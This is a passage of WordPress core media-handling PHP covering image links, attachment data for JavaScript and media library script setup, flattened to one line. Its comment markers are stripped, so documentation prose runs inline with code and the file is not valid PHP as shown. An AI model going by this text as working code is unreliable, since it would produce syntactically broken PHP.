'video', 'wp_video_shortcode' ); * * Gets the previous image link that has the same post parent. * * @since 5.8.0 * * @see get_adjacent_image_link() * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param string|false $text Optional. Link text. Default false. * @return string Markup for previous image link. function get_previous_image_link( $size = 'thumbnail', $text = false ) { return get_adjacent_image_link( true, $size, $text ); } * * Displays previous image link that has the same post parent. * * @since 2.5.0 * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param string|false $text Optional. Link text. Default false. function previous_image_link( $size = 'thumbnail', $text = false ) { echo get_previous_image_link( $size, $text ); } * * Gets the next image link that has the same post parent. * * @since 5.8.0 * * @see get_adjacent_image_link() * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param string|false $text Optional. Link text. Default false. * @return string Markup for next image link. function get_next_image_link( $size = 'thumbnail', $text = false ) { return get_adjacent_image_link( false, $size, $text ); } * * Displays next image link that has the same post parent. * * @since 2.5.0 * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param string|false $text Optional. Link text. Default false. function next_image_link( $size = 'thumbnail', $text = false ) { echo get_next_image_link( $size, $text ); } * * Gets the next or previous image link that has the same post parent. * * Retrieves the current attachment object from the $post global. * * @since 5.8.0 * * @param bool $prev Optional. Whether to display the next (false) or previous (true) link. Default true. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param bool $text Optional. Link text. Default false. * @return string Markup for image link. function get_adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) { $post = get_post(); $attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID', ) ) ); foreach ( $attachments as $k => $attachment ) { if ( (int) $attachment->ID === (int) $post->ID ) { break; } } $output = ''; $attachment_id = 0; if ( $attachments ) { $k = $prev ? $k - 1 : $k + 1; if ( isset( $attachments[ $k ] ) ) { $attachment_id = $attachments[ $k ]->ID; $attr = array( 'alt' => get_the_title( $attachment_id ) ); $output = wp_get_attachment_link( $attachment_id, $size, true, false, $text, $attr ); } } $adjacent = $prev ? 'previous' : 'next'; * * Filters the adjacent image link. * * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency, * either 'next', or 'previous'. * * Possible hook names include: * * - `next_image_link` * - `previous_image_link` * * @since 3.5.0 * * @param string $output Adjacent image HTML markup. * @param int $attachment_id Attachment ID * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param string $text Link text. return apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text ); } * * Displays next or previous image link that has the same post parent. * * Retrieves the current attachment object from the $post global. * * @since 2.5.0 * * @param bool $prev Optional. Whether to display the next (false) or previous (true) link. Default true. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param bool $text Optional. Link text. Default false. function adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) { echo get_adjacent_image_link( $prev, $size, $text ); } * * Retrieves taxonomies attached to given the attachment. * * @since 2.5.0 * @since 4.7.0 Introduced the `$output` parameter. * * @param int|array|object $attachment Attachment ID, data array, or data object. * @param string $output Output type. 'names' to return an array of taxonomy names, * or 'objects' to return an array of taxonomy objects. * Default is 'names'. * @return string[]|WP_Taxonomy[] List of taxonomies or taxonomy names. Empty array on failure. function get_attachment_taxonomies( $attachment, $output = 'names' ) { if ( is_int( $attachment ) ) { $attachment = get_post( $attachment ); } elseif ( is_array( $attachment ) ) { $attachment = (object) $attachment; } if ( ! is_object( $attachment ) ) { return array(); } $file = get_attached_file( $attachment->ID ); $filename = wp_basename( $file ); $objects = array( 'attachment' ); if ( false !== strpos( $filename, '.' ) ) { $objects[] = 'attachment:' . substr( $filename, strrpos( $filename, '.' ) + 1 ); } if ( ! empty( $attachment->post_mime_type ) ) { $objects[] = 'attachment:' . $attachment->post_mime_type; if ( false !== strpos( $attachment->post_mime_type, '/' ) ) { foreach ( explode( '/', $attachment->post_mime_type ) as $token ) { if ( ! empty( $token ) ) { $objects[] = "attachment:$token"; } } } } $taxonomies = array(); foreach ( $objects as $object ) { $taxes = get_object_taxonomies( $object, $output ); if ( $taxes ) { $taxonomies = array_merge( $taxonomies, $taxes ); } } if ( 'names' === $output ) { $taxonomies = array_unique( $taxonomies ); } return $taxonomies; } * * Retrieves all of the taxonomies that are registered for attachments. * * Handles mime-type-specific taxonomies such as attachment:image and attachment:video. * * @since 3.5.0 * * @see get_taxonomies() * * @param string $output Optional. The type of taxonomy output to return. Accepts 'names' or 'objects'. * Default 'names'. * @return string[]|WP_Taxonomy[] Array of names or objects of registered taxonomies for attachments. function get_taxonomies_for_attachments( $output = 'names' ) { $taxonomies = array(); foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) { foreach ( $taxonomy->object_type as $object_type ) { if ( 'attachment' === $object_type || 0 === strpos( $object_type, 'attachment:' ) ) { if ( 'names' === $output ) { $taxonomies[] = $taxonomy->name; } else { $taxonomies[ $taxonomy->name ] = $taxonomy; } break; } } } return $taxonomies; } * * Determines whether the value is an acceptable type for GD image functions. * * In PHP 8.0, the GD extension uses GdImage objects for its data structures. * This function checks if the passed value is either a resource of type `gd` * or a GdImage object instance. Any other type will return false. * * @since 5.6.0 * * @param resource|GdImage|false $image A value to check the type for. * @return bool True if $image is either a GD image resource or GdImage instance, * false otherwise. function is_gd_image( $image ) { if ( is_resource( $image ) && 'gd' === get_resource_type( $image ) || is_object( $image ) && $image instanceof GdImage ) { return true; } return false; } * * Creates new GD image resource with transparency support. * * @todo Deprecate if possible. * * @since 2.9.0 * * @param int $width Image width in pixels. * @param int $height Image height in pixels. * @return resource|GdImage|false The GD image resource or GdImage instance on success. * False on failure. function wp_imagecreatetruecolor( $width, $height ) { $img = imagecreatetruecolor( $width, $height ); if ( is_gd_image( $img ) && function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) { imagealphablending( $img, false ); imagesavealpha( $img, true ); } return $img; } * * Based on a supplied width/height example, returns the biggest possible dimensions based on the max width/height. * * @since 2.9.0 * * @see wp_constrain_dimensions() * * @param int $example_width The width of an example embed. * @param int $example_height The height of an example embed. * @param int $max_width The maximum allowed width. * @param int $max_height The maximum allowed height. * @return int[] { * An array of maximum width and height values. * * @type int $0 The maximum width in pixels. * @type int $1 The maximum height in pixels. * } function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) { $example_width = (int) $example_width; $example_height = (int) $example_height; $max_width = (int) $max_width; $max_height = (int) $max_height; return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height ); } * * Determines the maximum upload size allowed in php.ini. * * @since 2.5.0 * * @return int Allowed upload size. function wp_max_upload_size() { $u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) ); $p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) ); * * Filters the maximum upload size allowed in php.ini. * * @since 2.5.0 * * @param int $size Max upload size limit in bytes. * @param int $u_bytes Maximum upload filesize in bytes. * @param int $p_bytes Maximum size of POST data in bytes. return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes ); } * * Returns a WP_Image_Editor instance and loads file into it. * * @since 3.5.0 * * @param string $path Path to the file to load. * @param array $args Optional. Additional arguments for retrieving the image editor. * Default empty array. * @return WP_Image_Editor|WP_Error The WP_Image_Editor object on success, * a WP_Error object otherwise. function wp_get_image_editor( $path, $args = array() ) { $args['path'] = $path; If the mime type is not set in args, try to extract and set it from the file. if ( ! isset( $args['mime_type'] ) ) { $file_info = wp_check_filetype( $args['path'] ); If $file_info['type'] is false, then we let the editor attempt to figure out the file type, rather than forcing a failure based on extension. if ( isset( $file_info ) && $file_info['type'] ) { $args['mime_type'] = $file_info['type']; } } Check and set the output mime type mapped to the input type. if ( isset( $args['mime_type'] ) ) { * This filter is documented in wp-includes/class-wp-image-editor.php $output_format = apply_filters( 'image_editor_output_format', array(), $path, $args['mime_type'] ); if ( isset( $output_format[ $args['mime_type'] ] ) ) { $args['output_mime_type'] = $output_format[ $args['mime_type'] ]; } } $implementation = _wp_image_editor_choose( $args ); if ( $implementation ) { $editor = new $implementation( $path ); $loaded = $editor->load(); if ( is_wp_error( $loaded ) ) { return $loaded; } return $editor; } return new WP_Error( 'image_no_editor', __( 'No editor could be selected.' ) ); } * * Tests whether there is an editor that supports a given mime type or methods. * * @since 3.5.0 * * @param string|array $args Optional. Array of arguments to retrieve the image editor supports. * Default empty array. * @return bool True if an eligible editor is found; false otherwise. function wp_image_editor_supports( $args = array() ) { return (bool) _wp_image_editor_choose( $args ); } * * Tests which editors are capable of supporting the request. * * @ignore * @since 3.5.0 * * @param array $args Optional. Array of arguments for choosing a capable editor. Default empty array. * @return string|false Class name for the first editor that claims to support the request. * False if no editor claims to support the request. function _wp_image_editor_choose( $args = array() ) { require_once ABSPATH . WPINC . '/class-wp-image-editor.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php'; * * Filters the list of image editing library classes. * * @since 3.5.0 * * @param string[] $image_editors Array of available image editor class names. Defaults are * 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'. $implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) ); $supports_input = false; foreach ( $implementations as $implementation ) { if ( ! call_user_func( array( $implementation, 'test' ), $args ) ) { continue; } Implementation should support the passed mime type. if ( isset( $args['mime_type'] ) && ! call_user_func( array( $implementation, 'supports_mime_type' ), $args['mime_type'] ) ) { continue; } Implementation should support requested methods. if ( isset( $args['methods'] ) && array_diff( $args['methods'], get_class_methods( $implementation ) ) ) { continue; } Implementation should ideally support the output mime type as well if set and different than the passed type. if ( isset( $args['mime_type'] ) && isset( $args['output_mime_type'] ) && $args['mime_type'] !== $args['output_mime_type'] && ! call_user_func( array( $implementation, 'supports_mime_type' ), $args['output_mime_type'] ) ) { This implementation supports the imput type but not the output type. Keep looking to see if we can find an implementation that supports both. $supports_input = $implementation; continue; } Favor the implementation that supports both input and output mime types. return $implementation; } return $supports_input; } * * Prints default Plupload arguments. * * @since 3.4.0 function wp_plupload_default_settings() { $wp_scripts = wp_scripts(); $data = $wp_scripts->get_data( 'wp-plupload', 'data' ); if ( $data && false !== strpos( $data, '_wpPluploadSettings' ) ) { return; } $max_upload_size = wp_max_upload_size(); $allowed_extensions = array_keys( get_allowed_mime_types() ); $extensions = array(); foreach ( $allowed_extensions as $extension ) { $extensions = array_merge( $extensions, explode( '|', $extension ) ); } * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`, * and the `flash_swf_url` and `silverlight_xap_url` are not used. $defaults = array( 'file_data_name' => 'async-upload', Key passed to $_FILE. 'url' => admin_url( 'async-upload.php', 'relative' ), 'filters' => array( 'max_file_size' => $max_upload_size . 'b', 'mime_types' => array( array( 'extensions' => implode( ',', $extensions ) ) ), ), ); * Currently only iOS Safari supports multiple files uploading, * but iOS 7.x has a bug that prevents uploading of videos when enabled. * See #29602. if ( wp_is_mobile() && strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false ) { $defaults['multi_selection'] = false; } Check if WebP images can be edited. if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) { $defaults['webp_upload_error'] = true; } * * Filters the Plupload default settings. * * @since 3.4.0 * * @param array $defaults Default Plupload settings array. $defaults = apply_filters( 'plupload_default_settings', $defaults ); $params = array( 'action' => 'upload-attachment', ); * * Filters the Plupload default parameters. * * @since 3.4.0 * * @param array $params Default Plupload parameters array. $params = apply_filters( 'plupload_default_params', $params ); $params['_wpnonce'] = wp_create_nonce( 'media-form' ); $defaults['multipart_params'] = $params; $settings = array( 'defaults' => $defaults, 'browser' => array( 'mobile' => wp_is_mobile(), 'supported' => _device_can_upload(), ), 'limitExceeded' => is_multisite() && ! is_upload_space_available(), ); $script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings ) . ';'; if ( $data ) { $script = "$data\n$script"; } $wp_scripts->add_data( 'wp-plupload', 'data', $script ); } * * Prepares an attachment post object for JS, where it is expected * to be JSON-encoded and fit into an Attachment model. * * @since 3.5.0 * * @param int|WP_Post $attachment Attachment ID or object. * @return array|void { * Array of attachment details, or void if the parameter does not correspond to an attachment. * * @type string $alt Alt text of the attachment. * @type string $author ID of the attachment author, as a string. * @type string $authorName Name of the attachment author. * @type string $caption Caption for the attachment. * @type array $compat Containing item and meta. * @type string $context Context, whether it's used as the site icon for example. * @type int $date Uploaded date, timestamp in milliseconds. * @type string $dateFormatted Formatted date (e.g. June 29, 2018). * @type string $description Description of the attachment. * @type string $editLink URL to the edit page for the attachment. * @type string $filename File name of the attachment. * @type string $filesizeHumanReadable Filesize of the attachment in human readable format (e.g. 1 MB). * @type int $filesizeInBytes Filesize of the attachment in bytes. * @type int $height If the attachment is an image, represents the height of the image in pixels. * @type string $icon Icon URL of the attachment (e.g. /wp-includes/images/media/archive.png). * @type int $id ID of the attachment. * @type string $link URL to the attachment. * @type int $menuOrder Menu order of the attachment post. * @type array $meta Meta data for the attachment. * @type string $mime Mime type of the attachment (e.g. image/jpeg or application/zip). * @type int $modified Last modified, timestamp in milliseconds. * @type string $name Name, same as title of the attachment. * @type array $nonces Nonces for update, delete and edit. * @type string $orientation If the attachment is an image, represents the image orientation * (landscape or portrait). * @type array $sizes If the attachment is an image, contains an array of arrays * for the images sizes: thumbnail, medium, large, and full. * @type string $status Post status of the attachment (usually 'inherit'). * @type string $subtype Mime subtype of the attachment (usually the last part, e.g. jpeg or zip). * @type string $title Title of the attachment (usually slugified file name without the extension). * @type string $type Type of the attachment (usually first part of the mime type, e.g. image). * @type int $uploadedTo Parent post to which the attachment was uploaded. * @type string $uploadedToLink URL to the edit page of the parent post of the attachment. * @type string $uploadedToTitle Post title of the parent of the attachment. * @type string $url Direct URL to the attachment file (from wp-content). * @type int $width If the attachment is an image, represents the width of the image in pixels. * } * function wp_prepare_attachment_for_js( $attachment ) { $attachment = get_post( $attachment ); if ( ! $attachment ) { return; } if ( 'attachment' !== $attachment->post_type ) { return; } $meta = wp_get_attachment_metadata( $attachment->ID ); if ( false !== strpos( $attachment->post_mime_type, '/' ) ) { list( $type, $subtype ) = explode( '/', $attachment->post_mime_type ); } else { list( $type, $subtype ) = array( $attachment->post_mime_type, '' ); } $attachment_url = wp_get_attachment_url( $attachment->ID ); $base_url = str_replace( wp_basename( $attachment_url ), '', $attachment_url ); $response = array( 'id' => $attachment->ID, 'title' => $attachment->post_title, 'filename' => wp_basename( get_attached_file( $attachment->ID ) ), 'url' => $attachment_url, 'link' => get_attachment_link( $attachment->ID ), 'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ), 'author' => $attachment->post_author, 'description' => $attachment->post_content, 'caption' => $attachment->post_excerpt, 'name' => $attachment->post_name, 'status' => $attachment->post_status, 'uploadedTo' => $attachment->post_parent, 'date' => strtotime( $attachment->post_date_gmt ) * 1000, 'modified' => strtotime( $attachment->post_modified_gmt ) * 1000, 'menuOrder' => $attachment->menu_order, 'mime' => $attachment->post_mime_type, 'type' => $type, 'subtype' => $subtype, 'icon' => wp_mime_type_icon( $attachment->ID ), 'dateFormatted' => mysql2date( __( 'F j, Y' ), $attachment->post_date ), 'nonces' => array( 'update' => false, 'delete' => false, 'edit' => false, ), 'editLink' => false, 'meta' => false, ); $author = new WP_User( $attachment->post_author ); if ( $author->exists() ) { $author_name = $author->display_name ? $author->display_name : $author->nickname; $response['authorName'] = html_entity_decode( $author_name, ENT_QUOTES, get_bloginfo( 'charset' ) ); $response['authorLink'] = get_edit_user_link( $author->ID ); } else { $response['authorName'] = __( '(no author)' ); } if ( $attachment->post_parent ) { $post_parent = get_post( $attachment->post_parent ); if ( $post_parent ) { $response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' ); $response['uploadedToLink'] = get_edit_post_link( $attachment->post_parent, 'raw' ); } } $attached_file = get_attached_file( $attachment->ID ); if ( isset( $meta['filesize'] ) ) { $bytes = $meta['filesize']; } elseif ( file_exists( $attached_file ) ) { $bytes = wp_filesize( $attached_file ); } else { $bytes = ''; } if ( $bytes ) { $response['filesizeInBytes'] = $bytes; $response['filesizeHumanReadable'] = size_format( $bytes ); } $context = get_post_meta( $attachment->ID, '_wp_attachment_context', true ); $response['context'] = ( $context ) ? $context : ''; if ( current_user_can( 'edit_post', $attachment->ID ) ) { $response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID ); $response['nonces']['edit'] = wp_create_nonce( 'image_editor-' . $attachment->ID ); $response['editLink'] = get_edit_post_link( $attachment->ID, 'raw' ); } if ( current_user_can( 'delete_post', $attachment->ID ) ) { $response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID ); } if ( $meta && ( 'image' === $type || ! empty( $meta['sizes'] ) ) ) { $sizes = array(); * This filter is documented in wp-admin/includes/media.php $possible_sizes = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); unset( $possible_sizes['full'] ); * Loop through all potential sizes that may be chosen. Try to do this with some efficiency. * First: run the image_downsize filter. If it returns something, we can use its data. * If the filter does not return something, then image_downsize() is just an expensive way * to check the image metadata, which we do second. foreach ( $possible_sizes as $size => $label ) { * This filter is documented in wp-includes/media.php $downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size ); if ( $downsize ) { if ( empty( $downsize[3] ) ) { continue; } $sizes[ $size ] = array( 'height' => $downsize[2], 'width' => $downsize[1], 'url' => $downsize[0], 'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape', ); } elseif ( isset( $meta['sizes'][ $size ] ) ) { Nothing from the filter, so consult image metadata if we have it. $size_meta = $meta['sizes'][ $size ]; We have the actual image size, but might need to further constrain it if content_width is narrower. Thumbnail, medium, and full sizes are also checked against the site's height/width options. list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' ); $sizes[ $size ] = array( 'height' => $height, 'width' => $width, 'url' => $base_url . $size_meta['file'], 'orientation' => $height > $width ? 'portrait' : 'landscape', ); } } if ( 'image' === $type ) { if ( ! empty( $meta['original_image'] ) ) { $response['originalImageURL'] = wp_get_original_image_url( $attachment->ID ); $response['originalImageName'] = wp_basename( wp_get_original_image_path( $attachment->ID ) ); } $sizes['full'] = array( 'url' => $attachment_url ); if ( isset( $meta['height'], $meta['width'] ) ) { $sizes['full']['height'] = $meta['height']; $sizes['full']['width'] = $meta['width']; $sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape'; } $response = array_merge( $response, $sizes['full'] ); } elseif ( $meta['sizes']['full']['file'] ) { $sizes['full'] = array( 'url' => $base_url . $meta['sizes']['full']['file'], 'height' => $meta['sizes']['full']['height'], 'width' => $meta['sizes']['full']['width'], 'orientation' => $meta['sizes']['full']['height'] > $meta['sizes']['full']['width'] ? 'portrait' : 'landscape', ); } $response = array_merge( $response, array( 'sizes' => $sizes ) ); } if ( $meta && 'video' === $type ) { if ( isset( $meta['width'] ) ) { $response['width'] = (int) $meta['width']; } if ( isset( $meta['height'] ) ) { $response['height'] = (int) $meta['height']; } } if ( $meta && ( 'audio' === $type || 'video' === $type ) ) { if ( isset( $meta['length_formatted'] ) ) { $response['fileLength'] = $meta['length_formatted']; $response['fileLengthHumanReadable'] = human_readable_duration( $meta['length_formatted'] ); } $response['meta'] = array(); foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) { $response['meta'][ $key ] = false; if ( ! empty( $meta[ $key ] ) ) { $response['meta'][ $key ] = $meta[ $key ]; } } $id = get_post_thumbnail_id( $attachment->ID ); if ( ! empty( $id ) ) { list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' ); $response['image'] = compact( 'src', 'width', 'height' ); list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' ); $response['thumb'] = compact( 'src', 'width', 'height' ); } else { $src = wp_mime_type_icon( $attachment->ID ); $width = 48; $height = 64; $response['image'] = compact( 'src', 'width', 'height' ); $response['thumb'] = compact( 'src', 'width', 'height' ); } } if ( function_exists( 'get_compat_media_markup' ) ) { $response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) ); } if ( function_exists( 'get_media_states' ) ) { $media_states = get_media_states( $attachment ); if ( ! empty( $media_states ) ) { $response['mediaStates'] = implode( ', ', $media_states ); } } * * Filters the attachment data prepared for JavaScript. * * @since 3.5.0 * * @param array $response Array of prepared attachment data. @see wp_prepare_attachment_for_js(). * @param WP_Post $attachment Attachment object. * @param array|false $meta Array of attachment meta data, or false if there is none. return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta ); } * * Enqueues all scripts, styles, settings, and templates necessary to use * all media JS APIs. * * @since 3.5.0 * * @global int $content_width * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param array $args { * Arguments for enqueuing media scripts. * * @type int|WP_Post $post Post ID or post object. * } function wp_enqueue_media( $args = array() ) { Enqueue me just once per page, please. if ( did_action( 'wp_enqueue_media' ) ) { return; } global $content_width, $wpdb, $wp_locale; $defaults = array( 'post' => null, ); $args = wp_parse_args( $args, $defaults ); We're going to pass the old thickbox media tabs to `media_upload_tabs` to ensure plugins will work. We will then unset those tabs. $tabs = array( handler action suffix => tab label 'type' => '', 'type_url' => '', 'gallery' => '', 'library' => '', ); * This filter is documented in wp-admin/includes/media.php $tabs = apply_filters( 'media_upload_tabs', $tabs ); unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] ); $props = array( 'link' => get_option( 'image_default_link_type' ), DB default is 'file'. 'align' => get_option( 'image_default_align' ), Empty default. 'size' => get_option( 'image_default_size' ), Empty default. ); $exts = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() ); $mimes = get_allowed_mime_types(); $ext_mimes = array(); foreach ( $exts as $ext ) { foreach ( $mimes as $ext_preg => $mime_match ) { if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) { $ext_mimes[ $ext ] = $mime_match; break; } } } * * Allows showing or hiding the "Create Audio Playlist" button in the media library. * * By default, the "Create Audio Playlist" button will always be shown in * the media library. If this filter returns `null`, a query will be run * to determine whether the media library contains any audio items. This * was the default behavior prior to version 4.8.0, but this query is * expensive for large media libraries. * * @since 4.7.4 * @since 4.8.0 The filter's default value is `true` rather than `null`. * * @link https:core.trac.wordpress.org/ticket/31071 * * @param bool|null $show Whether to show the button, or `null` to decide based * on whether any audio files exist in the media library. $show_audio_playlist = apply_filters( 'media_library_show_audio_playlist', true ); if ( null === $show_audio_playlist ) { $show_audio_playlist = $wpdb->get_var( " SELECT ID FROM $wpdb->posts WHERE post_type = 'attachment' AND post_mime_type LIKE 'audio%' LIMIT 1 " ); } * * Allows showing or hiding the "Create Video Playlist" button in the media library. * * By default, the "Create Video Playlist" button will always be shown in * the media library. If this filter returns `null`, a query will be run * to determine whether the media library contains any video items. This * was the default behavior prior to version 4.8.0, but this query is * expensive for large media libraries. * * @since 4.7.4 * @since 4.8.0 The filter's default value is `true` rather than `null`. * * @link https:core.trac.wordpress.org/ticket/31071 * * @param bool|null $show Whether to show the button, or `null` to decide based * on whether any video files exist in the media library. $show_video_playlist = apply_filters( 'media_library_show_video_playlist', true ); if ( null === $show_video_playlist ) { $show_video_playlist = $wpdb->get_var( " SELECT ID FROM $wpdb->posts WHERE post_type = 'attachment' AND post_mime_type LIKE 'video%' LIMIT 1 " ); } * * Allows overriding the list of months displayed in the media library. * * By default (if this filter does not return an array), a query will be * run to determine the months that have media items. This query can be * expensive for large media libraries, so it may be desirable for sites to * override this behavior. * * @since 4.7.4 * * @link https:core.trac.wordpress.org/ticket/31071 * * @param stdClass[]|null $months An array of objects with `month` and `year` * properties, or `null` for default behavior. $months = apply_filters( 'media_library_months_with_files', null ); if ( ! is_array( $months ) ) { $months = $wpdb->get_results( $wpdb->prepare( " SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month FROM $wpdb->posts WHERE post_type = %s ORDER BY post_date DESC ", 'attachment' ) ); } foreach ( $months as $month_year ) { $month_year->text = sprintf( translators: 1: Month, 2: Year. __( '%1$s %2$d' ), $wp_locale->get_month( $month_year->month ), $month_year->year ); } * * Filters whether the Media Library grid has infinite scrolling. Default `false`. * * @since 5.8.0 * * @param bool $infinite Whether the Media Library grid has infinite scrolling. $infinite_scrolling = apply_filters( 'media_library_infinite_scrolling', false ); $settings = array( 'tabs' => $tabs, 'tabUrl' => add_query_arg( array( 'chromeless' => true ), admin_url( 'media-upload.php' ) ), 'mimeTypes' => wp_list_pluck( get_post_mime_types(), 0 ), * This filter is documented in wp-admin/includes/media.php 'captions' => ! apply_filters( 'disable_captions', '' ), 'nonce' => array( 'sendToEditor' => wp_create_nonce( 'media-send-to-editor' ), 'setAttachmentThumbnail' => wp_create_nonce( 'set-attachment-thumbnail' ), ), 'post' => array( 'id' => 0, ), 'defaultProps' => $props, 'attachmentCounts' => array( 'audio' => ( $show_audio_playlist ) ? 1 : 0, 'video' => ( $show_video_playlist ) ? 1 : 0, ), 'oEmbedProxyUrl' => rest_url( 'oembed/1.0/proxy' ), 'embedExts' => $exts, 'embedMimes' => $ext_mimes, 'contentWidth' => $content_width, 'months' => $months, 'mediaTrash' => MEDIA_TRASH ? 1 : 0, 'infiniteScrolling' => ( $infinite_scrolling ) ? 1 : 0, ); $post = null; if ( isset( $args['post'] ) ) { $post = get_post( $args['post'] ); $settings['post'] = array( 'id' => $post->ID, 'nonce' => wp_create_nonce( 'update-post_' . $post->ID ), ); $thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' ); if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) { if ( wp_attachment_is( 'audio', $post ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { $featured_image_id = get_post_meta( $post->ID, '_thumbnail_id', true ); $settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1; } } if ( $post ) { $post_type_object = get_post_type_object( $post->post_type ); } else { $post_type_object = get_post_type_object( 'post' ); } $strings = array( Generic. 'mediaFrameDefaultTitle' => __( 'Media' ), 'url' => __( 'URL' ), 'addMedia' => __( 'Add media' ), 'search' => __( 'Search' ), 'select' => __( 'Select' ), 'cancel' => __( 'Cancel' ), 'update' => __( 'Update' ), 'replace' => __( 'Replace' ), 'remove' => __( 'Remove' ), 'back' => __( 'Back' ), * translators: This is a would-be plural string used in the media manager. * If there is not a word you can use in your language to avoid issues with the * lack of plural support here, turn it into "selected: %d" then translate it. 'selected' => __( '%d selected' ), 'dragInfo' => __( 'Drag and drop to reorder media files.' ), Upload. 'uploadFilesTitle' => __( 'Upload files' ), 'uploadImagesTitle' => __( 'Upload images' ), Library. 'mediaLibraryTitle' => __( 'Media Library' ), 'insertMediaTitle' => __( 'Add media' ), 'createNewGallery' => __( 'Create a new gallery' ), 'createNewPlaylist' => __( 'Create a new playlist' ), 'createNewVideoPlaylist' => __( 'Create a new video playlist' ), 'returnToLibrary' => __( '← Go to library' ), 'allMediaItems' => __( 'All media items' ), 'allDates' => __( 'All dates' ), 'noItemsFound' => __( 'No items found.' ), 'insertIntoPost' => $post_type_object->labels->insert_into_item, 'unattached' => _x( 'Unattached', 'media items' ), 'mine' => _x( 'Mine', 'media items' ), 'trash' => _x( 'Trash', 'noun' ), 'uploadedToThisPost' => $post_type_object->labels->uploaded_to_this_item, 'warnDelete' => __( "You are about to permanently delete this item from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ), 'warnBulkDelete' => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ), 'warnBulkTrash' => __( "You are about to trash these items.\n 'Cancel' to stop, 'OK' to delete." ), 'bulkSelect' => __( 'Bulk select' ), 'trashSelected' => __( 'Move to Trash' ), 'restoreSelected' => __( 'Restore from Trash' ), 'deletePermanently' => __( 'Delete permanently' ), 'errorDeleting' => __( 'Error in deleting the attachment.' ), 'apply' => __( 'Apply' ), 'filterByDate' => __( 'Filter by date' ), 'filterByType' => __( 'Filter by type' ), 'searchLabel' => __( 'Search' ), 'searchMediaLabel' => __( 'Search media' ), Backward compatibility pre-5.3. 'searchMediaPlaceholder' => __( 'Search media items...' ), Placeholder (no ellipsis), backward compatibility pre-5.3. translators: %d: Number of attachments found in a search. 'mediaFound' => __( 'Number of media items found: %d' ), 'noMedia' => __( 'No media items found.' ), 'noMediaTryNewSearch' => __( 'No media items found. Try a different search.' ), Library Details. 'attachmentDetails' => __( 'Attachment details' ), From URL. 'insertFromUrlTitle' => __( 'Insert from URL' ), Featured Images. 'setFeaturedImageTitle' => $post_type_object->labels->featured_image, 'setFeaturedImage' => 